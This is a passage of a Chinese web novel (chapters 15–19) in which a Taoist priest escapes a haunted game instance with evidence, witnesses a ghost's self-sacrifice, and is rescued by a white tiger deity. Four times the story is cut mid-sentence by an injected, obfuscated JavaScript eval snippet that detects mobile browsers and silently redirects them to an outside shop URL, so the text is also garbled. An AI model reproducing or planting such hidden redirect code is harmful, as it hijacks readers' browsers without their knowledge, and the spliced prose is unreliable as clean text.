书包最下面是一台微单相机,机身有些划痕,显然用了很久。除此之外,还有女生的发圈、润唇膏之类的零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499258|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎的私人物品。 晏星梧没有乱翻,他只拿起相机,按下开机键。 屏幕亮起,相册首页全是形形色色的人物照片和风景照,他往后翻,直到看到几张文书档案类的照片,才停下,点开。 “输送至疗养院人源名单”“大脑提取实验报告”“老金影楼与钱金金疗养院合作合同”…… 桩桩件件触目惊心的文字横列在眼前,疗养院和照相馆的交易合同,还有一些非|法行为的计划书、实验记录,等等,太多了。 再往后翻,还有似在暗处偷偷拍到的交易现场照片。 原来是这样吗。 晏星梧皱眉思索着,他关掉相机,扣下了里面的内存卡,单独收在贴身口袋里,然后把相机和其他东西重新放回背包,拎起来准备走。 他转过身。 门口的灯突然全部亮起。 刺眼的灯光里,一个穿着白大褂的男人站在门口,一张和牌局主持人一模一样的脸上挂着同样戏谑的笑容,胸前的铭牌清晰地写着—— 钱金金疗养院,钱德厚院长。 “是你。”晏星梧看着他,冷静道。 “翻完了?”钱德厚的笑容里带着阴冷,一步步朝着晏星梧走过来,“你不应该来这里,在别人的地盘乱闯的小老鼠是要受到惩罚的。但我今天心情还不错,你把相机交出来,我可以当做什么都没发生,不然,你今天就得和那些人一样,永远留在这地下二层。” “你把命给我,我还可以考虑。”晏星梧嗤笑一声,脚下已经做好了战斗的架势。 “敬酒不吃吃罚酒。”院长的笑容瞬间敛去,周身翻涌出浓稠的黑气,“那就别怪我不客气了!” “金光速现,覆护真人!” 晏星梧指诀翻转,金色的屏障话落间撑开,他一脚飞起踹向钱德厚的脸,被他躲过,紧接着他又反手一掌朝着钱德厚的后脖颈狠狠劈去。 一人一Boss在狭小的档案室里交起手来。 钱德厚院长是这个副本的原生Boss,在疗养院里他有场域加持,几乎拥有源源不断的力量,而晏星梧在之前的情境里就已经有所消耗,几番交手下来,渐渐落了下风。 一个躲闪不及,院长的黑气狠狠缠上了他的手腕,晏星梧闷哼一声,手里的符纸飞落到地上,被院长抓住破绽,铺天盖地的黑气朝着他的胸口狠狠砸来! 他一个翻身躲开,蹲在地上,危急关头,晏星梧突然抬手举起背包,看着钱德厚,说:“停手!相机给你,你放我离开!” 钱德厚的攻势停住,他犹疑地看了晏星梧一眼,警惕地靠近,然后伸手接住背包。 他拉开拉链看到里面的相机,脸上露出了然又阴险的笑,有些放松了警惕。 就是现在! 晏星梧拔腿就跑,飞快奔出档案室,反手锁死了门,顺着楼梯就大步往楼上冲。 他不敢回头,一路使劲往上跑,等那死老头发现相机里没有存储卡就晚了! 16. 第 16 章 晏星梧冲上一楼,不敢有半分停顿,接连将楼道里的三道防火门一扇接一扇反手锁死,这样就算钱德厚发现了,也足够拖延至少十分钟。 他撞开疗养院锈迹斑斑的大铁门,迎面就撞见了守在门口的岳均生。 岳均生看到晏星梧眼睛一亮,刚要开口问情况,就被晏星梧一把拽住胳膊往巷子里冲。 “来不及解释了先跑再说!”晏星梧声音急促,脚下丝毫没慢,“钱德厚很快就会追出来,先去交任务!” 岳均生立刻紧跟在他身侧,一边跑一边警惕着身后,粗着嗓子问他:“钱德厚是谁?” “疗养院、院长!” 晏星梧拽着岳均生矮身疾跑,连过三道院墙豁口,两人冲出巷口,一头钻进照相馆背后的窄巷子。 一路跌跌撞撞,终于,两人找到了老金照相馆后街的小门,两人闪身进门,反手扣死插销。 岳均生蹲下单手撑地,几秒间筑起一座高墙将门封死,做完这一系列动作,两人才稍微松了口气,扶着墙不住喘息。 调整好呼吸,晏星梧简单讲事情和岳均生讲了一遍,然后说:“走吧,去把任务交了。” 说完便不再耽搁,晏星梧抬手比了个噤声的手势,率先贴着墙根往楼梯间摸去。 两人一前一后,脚步无声,很快就走到了地下一层,到了尽头。 楼梯拐角处,林暮回抱着膝盖蜷缩在那里,魂体被一层淡淡的金光稳稳裹着,正是他之前炼度时给她留下的护身符,看到晏星梧,她眼里亮起了光。 “晏道长。”她主动开了口,小心翼翼却又难掩急切,“您……拿到了?” 晏星梧点点头走了过去,开口道:“不负所托,东西拿到了。” 他先拿出一道安魂符,捻诀轻弹,符纸无风自燃,化作一道温和的金光,与她身上护身符的光晕相融,让她的魂体更稳了几分。 “你让我去帮你找回背包,”他一边掏口袋一边说,“我猜你是想拿回这个东西。” 说着他把相机存储卡摆在林暮回的面前。 林暮回蹲下身,拿起存储卡,紧紧攥在手心,说:“是的,就是这个……” 她反复摩挲着存储卡的边缘,摸过芯片的纹路,翻来覆去看了许久,才缓缓抬起头,对着晏星梧深深鞠了一躬,腰弯得极低,久久没有直起身。 “真的谢谢您。”等她再直起身时,眉眼间凝滞的戾气终于彻底散开,脸上只剩下释然,“我困在这里这么久,等的就是这一天。您不仅把我唤醒,还帮我拿回了证据。” 她停下来思索了良久,复又开口:“我想请求您,请求您帮我把这枚存储卡带到外面去……” “好,我答应你,你不用……”晏星梧还没说完,便被她又打断。 “晏道长,您为我所做颇多,于我而言,您就像我人生里的太阳,您的恩情我自认为无以为报……” 林暮回抬起头看向晏醒悟,目光坚定又决然:“我,林暮回,愿意以我的灵魂之火,为眼前之人照亮一段光明的前路。” 话音还未落下,林暮回的魂体就开始发出光芒,暖金色的火焰一点点裹住了她的整个身形。 “不要!别做傻事!” 晏星梧脸色骤变,立刻着急地伸手想去拉住她,同时掐诀,数道安魂符瞬间祭出,朝着她的魂体飞去。 “我答应你把存储卡带出去,不需要你这样!炼度之后你本可安然往生,我保证一定会把你也带出去!一定!” 可符纸飞到林暮回面前,就被那层魂火轻轻化开,连一丝波澜都没惊起。 林暮回看着他,脸上带着释然又温柔的笑,轻轻摇了摇头。 “其实我知道这里已经不是我生前所熟悉的那片空间了,晏道长,我困在这暗无天日的地方太久了。”她笑笑,魂火越燃越旺,她的身形也开始变得透明,“就算能往生,那些被害死的人,那些被藏起来的罪恶,也是我心里永远拔不出的刺。我能做的太少了,而您还有无限的希望,我只能用我这残魂,为您添一点光亮啦。” “我很喜欢摄影,一辈子都在追着光跑。”她看向晏星梧,眼里映照着暖金色的火光“晏道长,您是我见过的最亮的光,希望您一直明亮,一直能有心力来拯救更多我这样的人。” 晏星梧此时已经说不出话,他来到林暮回的魂魄面前,想强行稳住她的魂体,可手指刚触碰到那层魂火,就被一股柔和却不容抗拒的力量弹了回来。 他能清晰地感知到,林暮回是自愿以炼度后的清净魂体为引,燃尽灵魂,这份纯粹的愿力,连他都无法逆转。 “何必如此……就算你不这样做,我也会……”晏星梧的眼泪夺眶而出,一颗颗砸下来,落进身下的地板里,他哽咽着跪落在地上,深深的无力堵在他的喉咙,说不出一句完整的话,只有不成调的呜咽从胸腔深处往上翻涌。 魂火燃到了最盛,林暮回的身形几乎要完全消散在金光里,她最后对着晏星梧明媚一笑,唇瓣无声地动了动,说着“活下去”。 下一秒,漫天的暖金色火光骤然收拢,化作一枚栩栩如生的太阳印记,朝着晏星梧飞了过来,没等他反应,就径直钻进了他的丹田,融进了他丹田处的光团里。 印记融入的瞬间,晏星梧只觉得一股温暖磅礴的至阳之力瞬间席卷全身,丹田内原本温润的光团爆发出刺眼的金光,像是冲破了一层无形的枷锁,原本散漫的光团凝实,化作了一轮缓缓转动的小小金日,一股他从未感知过的力量,在经脉里缓缓流淌开来。 他愣在原地,一时竟没回过神。 而在混乱街区的最深处,那片被黑暗笼罩的废弃楼宇里,一双的金色竖瞳里光华流转,像是终于确认了什么。 一声虎啸震彻了整个街区深处,原本盘踞在楼宇里的阴邪之物刹那间消散殆尽。 威风凛凛的白虎纵身一跃,巨大的身形变成一道金色流光,朝着照相馆的方向,飞速奔来。 与此同时。 【滴——警告!副本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499259|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异常!超出副本管控范围!规则判定失效!】 【错误!错误!检测到未知能量波动!尝试重启——】 【滴——副本重启失败!】 【正在尝试修复——】 游戏的报错音还没结束,照相馆地下一层的走廊入口处,就传来了一声震耳欲聋的巨响! 轰—— 岳均生之前在小门后筑起的土墙,被蛮力炸得粉碎,碎石木屑飞溅中,铺天盖地的阴邪黑气顺着走廊疯涌而来。 “小畜生!敢骗我!我看你往哪跑!”钱德厚暴怒的嘶吼声穿透黑气,清晰地传了过来。 紧接着,黑气里出现了老金阴恻恻的笑声,无数扭曲的冤魂虚影顺着墙壁爬了过来,瞬间封死了身后楼梯间的退路。 晏星梧回过神,拿出了桃木剑,体内那股充盈的力量顺着剑刃流淌开来,剑身上泛起一层淡淡的暖金色光晕。 岳均生也立刻稳稳挡在了他身前,浑身肌肉紧绷,土系异能蓄势待发。 钱德厚周身的黑气翻涌成数道狰狞的利爪,率先朝着两人狠狠抓来。 老金则操控着无数冤魂从两侧墙壁里钻出来,封死了他们躲闪的空间,两个boss一出手就是杀招,显然是抱着必杀的心思。 晏星梧低喝一声,桃木剑迎着黑气狠狠劈去。 剑刃与黑气相撞,那股至阳至纯的力量如同烈阳融雪,将黑气劈得四散开来。 晏星梧自己都惊讶了一瞬,随即立刻稳住心神,指尖掐起五雷诀,飞起一道符箓朝着老金的方向一点,“一笔勾起五雷使,铁面判官不容情,三官将帅领兵起,五雷使者疾速行!” 辛元帅高大的身影立时出现,手中雷笔朝老金点出一击便消散。 老金被庞大的力量撼到墙上,将墙壁砸出一个窟窿,他哇地咳出一口血,挣扎着起身。 可老金钱德厚毕竟是这个副本的原生boss,再加上有游戏这个狗登的暗暗加持,力量逐渐恢复了一半。 双方又各自打了几个回合,几番交手下来,晏星梧体内力量消耗的速度慢慢大于恢复的速度,岳均生也渐渐落了下风,手臂被钱德厚的利爪划开了一道深可见骨的口子,鲜血淋漓。 “小畜生,就凭这点微末道行,也敢跟我们斗?” 钱德厚狞笑一声,周身黑气暴涨,化作一张巨大的黑网,朝着两人当头罩下。 老金也同时发力,将冤魂凝聚成形,一举冲岳均生发射而去。 岳均生躲避不成,黑气穿过土墙狠狠砸在他胸口,他一口血喷出来,整个人倒飞出去,狠狠撞在身后的水泥墙上,滑落在地。 “均生!”晏星梧脸色骤变,刚要回身去救,钱德厚的黑网已经当头落下,死死缠住了他的四肢。 “晏道长!”岳均生撑着地面想要爬起来,却又脱力地摔了下去。 看着被缠住的晏星梧和步步逼近的两个boss,他猛地咬破舌尖,一口精血喷在地上,双手结印:“墩子!出来!” 17. 第 17 章 “墩子!出来!” 挂在他腰带上的迷你大象挂件随着话音落下爆发出一圈圈光芒,小小的挂件在光芒里快速变大,一头通体灰褐、身形壮硕的非洲象轰然落地。 四只粗壮的象腿砸在地面,整个地下走廊都跟着狠狠震颤,墙皮簌簌往下掉。 墩子落地的第一时间,就甩动着长鼻子飞快跑过来挡在了岳均生的身前,蒲扇似的耳朵狠狠扇动着,对着前方翻涌的黑气发出一声震耳欲聋的象鸣,整头大象不再是晏星梧刚见到它时的可爱模样,圆溜溜的眼睛里满是护主的凶意。 “墩子,去帮晏道长!”岳均生拍拍墩子的大屁股,指向被黑气困住的晏星梧的方向。 长长的鼻子眷恋地在岳均生脸上绕了绕,墩子发出一声鸣叫,踏踏踏地跑向晏星梧。 钱德厚用黑气做出的那张网,被墩子的象鼻裹挟着千钧之力狠狠抽中,瞬间被撕开一道巨大的口子。 晏星梧借着这股力道挣脱束缚,桃木剑在身前挽了个利落的剑花,指尖沾着嘴角溢出的血,飞速画下一道破煞符,用剑挑着送了出去,金光顺着剑尖轰然炸开,迎着钱德厚狠狠爆去。 “上清,弦月剑法!”随着符的飞出,晏星梧也飞身刺出一剑向钱德厚攻去。 “不知死活的东西!” 钱德厚厉声咆哮,周身黑气暴涨,化作数道狰狞的利爪,一边硬接晏星梧的破煞符,一边分出数道黑气朝着墩子袭去。 “这特么还是不是人啊!”岳均生怒骂一声,用恢复了些许的异能甩出一道土盾把墩子护住。 另一边,被砸进墙里的老金也爬了出来,他嘴角淌着黑血,眼里却满是癫狂的杀意。 “任何人,都不能破坏,老金的计划!” 举起那台一直拎在手上的箱式相机,对着晏星梧就狠狠按下了快门。 刺眼的闪光灯瞬间照亮了整个地下走廊,岳均生狠狠垒起一面连通天花板和地板的土墙,闪光灯的光扫来,被土墙层层消耗,最后,在光芒即将消散时土墙也被轰得粉碎,碎石飞溅。 四方混战持续进行着。 晏星梧刚在牌局游戏里耗了大半心神,又被钱德厚的黑气震伤了经脉,此刻全靠丹田内那轮金日撑着,每一次挥剑和掐诀,都大量消耗着丹田里缓缓积蓄的异能。 岳均生本就被重创,胸口的伤让他抬手都疼得浑身发抖,只能勉强靠着墩子的掩护辅助防御。 而墩子这边,它虽然皮糙肉厚,可也不是金刚不坏之身,不过几个回合,它厚实的皮肤上就被灼出了几道血淋淋的伤口,鲜血顺着皮肤往下淌,在地面晕开一滩滩深色的血渍。 岳均生心疼得无以复加,只恨不能自己挡在墩子面前去。 两个boss在副本里有着原生场域加持,力量几乎算是源源不断,一联手更是攻防一体,不过半个小时,晏星梧一方就渐渐落了下风,局面岌岌可危。 “小畜生,我看今天谁还能救你们!” 钱德厚抓住晏星梧旧力刚去而新力未生的间隙,抓取旁边为数不多的几只冤魂来凝聚起新的一汪黑气,化作一柄漆黑的巨斧,朝着他的胸口狠狠劈来。 晏星梧避无可避,只能横起桃木剑硬挡。 “哐当”,一声巨响,桃木剑被巨斧震得险些脱手。 巨大的冲击力顺着剑刃传导向他的手臂,又从手臂震到胸腔,他闷哼一声,一口鲜血直直喷在剑身上,整个人弓起身体往后倒飞出去,狠狠撞在身后的墙上。 “晏道长!” 岳均生想冲过去护他,却被老金操控的十几只冤魂死死缠住,根本脱不开身。 墩子此时也被黑气缠住了四肢,正在着急地挣扎,只能发出一声声焦急的象鸣。 钱德厚看着倒在地上恨恨瞪着他的晏星梧,脸上露出狰狞的笑,黑气再次凝聚,就要朝着他的天灵盖狠狠砸下,彻底了结了这个不知天高地厚还来坏他好事儿的男人。 就在这千钧一发之际。 “吼——” 一声震彻灵魂的虎啸,从四面八方传来,整栋楼都震动着碎裂开来。 铺天盖地的金光从天而降,所过之处,所有翻涌的黑气和冤魂都消融了个赶紧,一丝痕迹都没留下。 钱德厚那柄即将砸落的黑气巨斧,在金光里连半秒都没撑住,直接化为乌有。 一只通体雪白,浑身布满黑色条纹的白虎,撞破金光和翻涌的黑气,从上方跃下。 祂身形矫健流畅,皮毛布满了的月光的莹洁,没有一丝杂色,一双金色的竖瞳里流转着繁复的符文,明明是凶兽的形态,却带着一身凛然的神性。 祂的目光扫过两个boss,老金和钱德厚被凛凛威压钉在了原地,浑身止不住地发抖,不能动弹半分。 白虎的目光最终落在了靠墙坐着的晏星梧身上,原本带着冷意的金色竖瞳,在触碰到他不断渗血的嘴角时变得更加危险了几分。 “你、你是什么东西?!” 钱德厚强撑着心底的恐惧,嘶吼着催动黑气,将周围仅剩的几只怨魂凝聚成数道利爪状的黑气,和老金一起,拼尽了全力朝着白虎扑去。 白虎连头都没回,只是抬了抬爪,轻轻一挥。 一道凝练到极致的金色规则光刃随即斩出,那两个在副本里横行无忌的boss,一声惨叫都没发出来,就被光刃拦腰斩断,化为天地间两道血污,两缕黑气从血污中挣扎而出,想要趁机逃跑。 白虎张口,吸了一口气将两团黑气吞了进去,嚼了几下,金色的竖瞳里露出毫不掩饰的嫌弃。 低沉的声线如冰泉击石般清越,带着泠泠的质感,在天地间响起: “呸、呸呸。” “不好吃。” 晏星梧:“……” 岳均生:“……” 呃……嗯……嗯? 两人面面相觑,都从对方脸上看到了巨大的震惊后是一阵微妙的无语。 不好吃……吗? 那为什么非得吞了它们……呢? 白虎呸完已经走到了晏星梧面前。 祂身形巨大,比墩子还要大上一圈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499260|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏醒悟不由得想起那句网络上很流行的抽象语录。 道理我都懂,可是为什么老虎这么大? 白虎站在晏星梧身前,却没有半分压迫感。 祂低下头,湿湿的鼻尖轻轻蹭了蹭晏星梧沾了血的嘴角。 触碰到他的瞬间,晏星梧只觉得一股温和的力量顺着皮肤流淌到全身的经脉,原本疼痛的伤口片刻痊愈,连胸口的剧痛也逐步减轻知道消失。 他下意识地抬手,把手搭在白虎毛茸茸的额头上。 “谢谢你。” 白虎用额头又蹭了蹭他的掌心,才抬起身,金色的眼眸重新恢复了一开始的清冷感。 祂开口道:“以你现在的力量,是根本不可能完成这一关的。” 白虎顿了顿,抬头看了看天空,竖瞳里闪过一丝冷意:“是祂,在刻意针对你。” “你是谁?你说的那个‘祂’,又是谁?又为什么,要针对我?”晏星梧问。 白虎注视了他半晌,低头浅浅叹了口气,没有直接回答他的问题,而是说:“现在,你有两个选择。” “第一,我可以送你……你们,离开这里,抹除掉你们身上的印记,从此以后,祂再也无法将你们拉入任何诡异之处,你们可以回到原来的生活,安稳过完这一生。” 金色的眼眸望进晏星梧困惑的双眼,温柔了一瞬。 “第二,留下,和我一起,毁掉这场以负面能量为食的本源。” 晏星梧的瞳孔缩了一瞬。 白虎又道:“可是,这条路九死一生,从你做出选择的那一刻起,就会被祂视作头号眼中钉,往后的每一个副本,都会是死局。” 晏星梧看着身前的白虎,沉吟着思索。 白虎叹了声气,说:“不如我还是把你送出……” 晏星梧打断白虎的话,说:“虽然不知道你是谁,祂又是谁,凭什么针对我。” “但是,”他抬起头,望进那双金色的眼,“我会留下。” “我辈小道,修道是为天地众生。这狗登游戏害了这么多无辜的人,把无数人拖进生死绝境里,我不可能抛下他们一走了之。”他一字一句,掷地有声,“如今,有一个推翻它的机会在眼前,不管有多危险,这条路,我走定了。” “但我有一个请求。”他又开口,“请你把均生和墩子送出去。” 岳均生扶着墩子的腿慢慢站起身,他先看了一眼晏星梧,又看了一眼那边气息凛然的白虎,忽然笑了。 哪怕浑身是伤,脸色惨白,他的眼神却还是坚定:“晏道长,我这条命都是你救的,你选什么,我就跟什么。反正我早就被拉进这鬼游戏里了,躲是躲不掉的,不如干脆跟它干到底,把这狗屁游戏掀了。” 墩子也助威似的举起鼻子跟着发出一声象鸣。 白虎定定地看着晏星梧,金色的眼眸里,那抹藏在深处的温柔如水般漾开,低沉的声音里划过淡淡的笑意。 “如你所愿。” 清风拂过山岗。 皎洁的明月找回了祂的信仰。 18. 第 18 章 话音落下,整个副本突然开始天崩地裂般的剧烈震颤。 游戏尖锐的报错音,疯了似的在几人脑海里炸开,刺得人脑仁生疼。 【滴——副本秩序体系崩溃中……】 【警告!检测到未知高阶能量体!启动副本自毁程序!】 【滴——副本自毁中——】 晏星梧脸色一变,急切地看向身前的白虎:“副本要塌了,你怎么办?” 白虎抬眼扫了一眼四周天崩地裂的景象,语气平淡得仿佛在说一件无关紧要的小事。 “问题不大,这具化身本就是依托副本规则凝聚的,副本崩塌,这具身体也留不住。” “你,到底是什么?”晏星梧问。 “我是****。”白虎道。 晏星梧:? “呃,请问,你刚刚说了什么吗?” “我说,我是****。”白虎重复了一遍。 Sorrywedon''tspeaknoodles. 不是。 “均生,你有听到什么吗?”晏星梧扭头看岳均生。 岳均生抱臂摸着下巴,说:“有没有一种可能,是语言不通。” 白虎恍然大悟:“啊,原来你们听不到吗。” 白虎抬起一只爪,指了指天空,道:“并非语言不通,是祂,不让我说。” “但是没关系,至此过后,我们还会再见面的。” 祂看着晏星梧骤然绷紧的脸,又往前凑了凑,毛茸茸的大脑袋轻轻碰了碰他,声音放轻了些:“不用担心,我原本的神魂碎裂,散落在瞬墟的各个副本里,这样的事,几千年里我已经习惯了,这次我不会有事。” 说完,祂微微低下头,眉心处亮起一道耀眼的光。 一枚拇指大小的白色不规则玉石,从祂体内缓缓升了起来,玉石通体温润通透,还带着一丝清冽的气息。 白虎从空中咬住玉石,又带到晏星梧面前。 “这是我的神魂碎片,收好。” 祂郑重道:“像这样的碎片,还有六片,集齐七片,你就能召唤出完整的我。也算是帮了我一个大忙。” 晏星梧摊开手掌,让玉石落在他的手掌心。 白虎的目光再次落在晏星梧脸上,带着几分笃定:“那么,下次再见了。” “顺着白光走,哪里是我为你们留下的出口。” 话音落下,白虎的身形开始变得透明。 祂最后深深看了晏星梧一眼,周身的金光骤然炸开,化作一道栩栩如生的白虎虚影,轻轻落在了晏星梧手里的玉石上,陷入沉睡。 月光在几人面前流淌出一条看不到尽头的小路。 副本的天地仍在剧烈地震颤,世界末日般,仿佛下一秒就要立刻崩溃。 晏星梧握紧手里的玉石,感受着玉石的触感,还有里面那股让人安心的力量。 他小心翼翼地把玉石贴身收好,转身扶住几乎站不稳的岳均生,对着墩子喊了一声:“墩子,走了!” 墩子立刻应声,弯下长鼻子,轻轻卷起岳均生的腰,稳稳地把他放在自己宽阔的背上。 晏星梧纵身跃到墩子背上,桃木剑往前一指月光小路,喝了一声:“冲!” 墩子发出一声雄浑的象鸣,迈着粗壮的象腿,朝着小路尽头的方向狂奔而去。 身后的楼宇、道路,整个混乱街区,在他们身后轰然崩塌,无尽的黑暗追着他们的脚步而来,却始终慢了一步。 就在整个副本彻底化为虚无的前一秒,墩子带着两人,终于冲出了混乱街区的边界,来到了月光小路的尽头。 墩子甩起长鼻子大步一跃—— 刺眼的阳光瞬间涌了过来,耳边是久违的车流声,还有风吹过树叶的沙沙声。 一出副本,墩子就自动消失回到了岳家庄园的象舍里。 两人站在老街区的马路边,身后的废弃街区安安静静,门窗紧闭,蒙着厚厚的灰尘,仿佛刚才那场生死搏杀跟天崩地裂,都只是一场光怪陆离的幻觉。 下一秒,冰冷的提示音,带着前所未有的震动,在两人脑海里同时响起: 【滋……故障——故障——】 【滋……副本名称:混乱街区。】 【副本完成度:100%。】 【副本评价:A级。】 【恭喜玩家晏星梧、玩家岳均生,成功通关,完成混乱街区副本。】 【副本奖励发放中——】 【牌桌游戏500积分、副本通关奖励300积分均已发放,林女士的存储卡*1,已发放。】 【副本脱离中……滋……故障……检测到玩家已脱离副本……】 【祝您下次游戏愉快。】 晏星梧站在阳光下,抬手摸了摸胸口贴身放着的那枚白色玉石,指尖传来的温润触感清晰无比。 他抬头望向远处的天空,阳光正好,万里无云。 晏星梧站在阳光下,抬手摸了摸胸口贴身放着的那枚白色玉石,指尖传来的温润触感清晰无比。 他抬头望向远处的天空,阳光正好,万里无云。 这时,旁边传来便利店出门时的“谢谢惠顾”声响。 紧接着,一道疑惑的声音在两人身旁响起。 “诶?小岳总?晏先生?” 刚走出便利店的员工先生疑惑道。 “你们,中午不是说要去邻市吗?怎么还没走?” 岳均生一把搂过员工先生的脖子,嬉皮笑脸道:“哎呀小王啊,这不是我们又临时取消了这个行程嘛!哈哈哈,你吃饭没,要不要一起找地方吃点?” “不、不用了岳总,我刚刚吃过了。”员工先生受宠若惊,连忙摆手。 “啊哈哈哈,好好好,公司的人都在什么地方?我们收拾一下也该往回走了。”岳均生问道。 “他们都还在酒店,好的岳总,我这就订票。”员工先生迅速响应并掏出了手机。 三言两语把员工打发去处理票务,看着小王的身影逐渐消失在街角,岳均生脸上的嬉皮笑脸收了起来,转头对晏星梧说:“晏道长,那张存储卡,你准备怎么处理?” 晏星梧道:“报警吧,另外可能还需要媒体曝光之类的流程。” 岳均生点点头,两人快步走回来时的商务车,又做了些讨论和安排,敲定下具体的计划,众人一起往机场驶去。 京市到甲省乙市的航班要飞三个半小时。 晏星梧靠在窗边,指尖无意识地摩挲着那枚白色玉石。 玉石温润微凉,里面的白虎虚影安安静静地沉睡着,只有在他指尖触碰到的瞬间,玉石会微微发出些许热度,像在回应他的触碰。 那只白虎,到底是什么样的存在呢…… “集齐七片碎片,就能召唤出完整的你。” 晏星梧用指尖轻轻碰了碰玉石,低声嘀咕,“怎么,难道还能召唤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499261|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神龙啊?你到底是谁?为什么要帮我?还有针对我的游戏,到底是什么东西?” 玉石安安静静的,没有任何回应。 晏星梧笑叹一声,把玉石重新贴身收好。 他现在就是蒙着眼睛走在黑夜里,只知道前路危险重重,却连对手是谁、底牌是什么,全都一无所知。 罢了,关关难过,关关过。 回到行道镇的时候,已经是傍晚了。 行道镇的街道上,卖卤味的铺子飘出香气,香烛店的胖大姐坐在门口择菜,看见他远远就挥起了手。 晏星梧笑着一一打回招呼,脚步不停,沿着石板路往望道山上走。 - 距离混乱街区副本结束回到守一观,已经过去了三天。 这天一早,晏星梧做完早课,爬上了山顶。 清俊的青年站在一棵虬结的老松树旁,叉着腰登高而远望。 清晨的薄雾还没完全散尽,脚下是层层叠叠不同明度的绿,混着远处田野里的薄烟,连带着穿镇而过的溪流都泛着粼粼的碎光,鲜活又热闹。 再往远看,连绵的青山一直铺到天的尽头,清透的蓝天飘着几缕闲散的云,和瞬墟副本里暗无天日的模样,判若两个世界。 与此同时,守一观里,正闹着点小小的动静。 三清殿门口,一个看着才十三四岁的小道童,踩着小碎步跑进来,圆圆的脸蛋跑得红扑扑的。 她对着正在静坐写字的晏真人行了个礼,脆生生地开口:“师伯!门外来了两位先生,说是找星梧师兄的!他们还提着礼盒,说是师兄在京市认识的朋友!” 晏真人放下手里的狼毫,抬眼看向她,带着笑意问:“你师兄呢?早上吃完饭,就没见人影了。” 小道童挠了挠头,有点不好意思地吐了吐舌头:“师兄好像到山顶去啦!我给他打了好几个电话都没人接,估计是山顶信号不好。师伯,要不我爬上去喊师兄下来?” 望道山看着不高,可从观里爬到山顶,脚程快也要半个多小时,一来一回就得一个钟头。 晏真人笑着摇了摇头,把抄了一半的《太上老君说常清静经》合起来,道:“罢了,你跑一趟也未必能找着人。” 她顿了顿,对着小道童道:“这样,你去山门外那棵老枣树跟前说一声,就说观里来了客人找星梧,麻烦给星梧递句话,让他赶紧下来。观里今天香客多,就不安排人登顶了。” 小道童眨了眨眼,有点懵。 她知道山门口那棵老枣树活了几百年,可她天眼未开,从来没见过传说中的山间精怪,更别说跟精怪说话了。 但晏师伯都这么吩咐了,她只乖乖点了点头,道:“好的师伯,我这就去!” 小姑娘转身就往门外跑,一路小跑到老枣树下,看着这棵粗壮的古枣树,繁密的枝叶在风里哗啦啦地响,像是在跟她打招呼。 她有点紧张,攥着衣角对着老枣树认认真真把师伯交待的话复述了一遍,然后伸手摸摸树干,说:“谢谢您啦!” 说完便往回跑去。 身后,她看不见也听不到的是,枣奶奶笑眯眯地回应道:“知道啦知道啦,星梧这孩子打小就爱玩儿,奶奶这就上去咯!” 说着,一道身着红花绿衣的奶奶“嗖”的一下从树干里蹦出来,踩着山路duangduangduang地往山上蹿,脚步轻快,比山间的猴子还灵敏。 奶奶我呀,正当壮年呢! 19. 第 19 章 晏星梧正在思索着游戏的事,正想着,脚边传来一阵窸窸窣窣的动静。 晏星梧低头,就看见一只火红色的小狐狸,拖着蓬松的大尾巴向他跑来,蹲在了他的脚边。 小狐狸嘴里还叼着几颗连成串的挂着晨露的野草莓,一双琥珀色的圆眼睛滴溜溜地看着他,鼻尖轻轻动了动。 见他看过来,小狐狸把野草莓小心翼翼地放在他的鞋面上,用小脑袋往前推了推,又用后腿人立而起,扒着他的裤子,发出软乎乎的叫声,像是在邀功。 这是在山上住了很多年的狐狸一家的崽崽,去年冬天,狐狸爸爸在山下踩中了偷猎者的兽夹伤了腿,还是晏星梧救下了它还给它处理好伤口送回去。 从那以后,狐狸一家就总爱往他跟前凑,还时不时叼点野果和蘑菇送给他。 “谢谢你啊小家伙。” 晏星梧笑了,弯腰捡起那几颗野草莓,用袖口擦了擦塞进嘴里。 甜丝丝的汁水在舌尖炸开,混着山野里独有的清气。 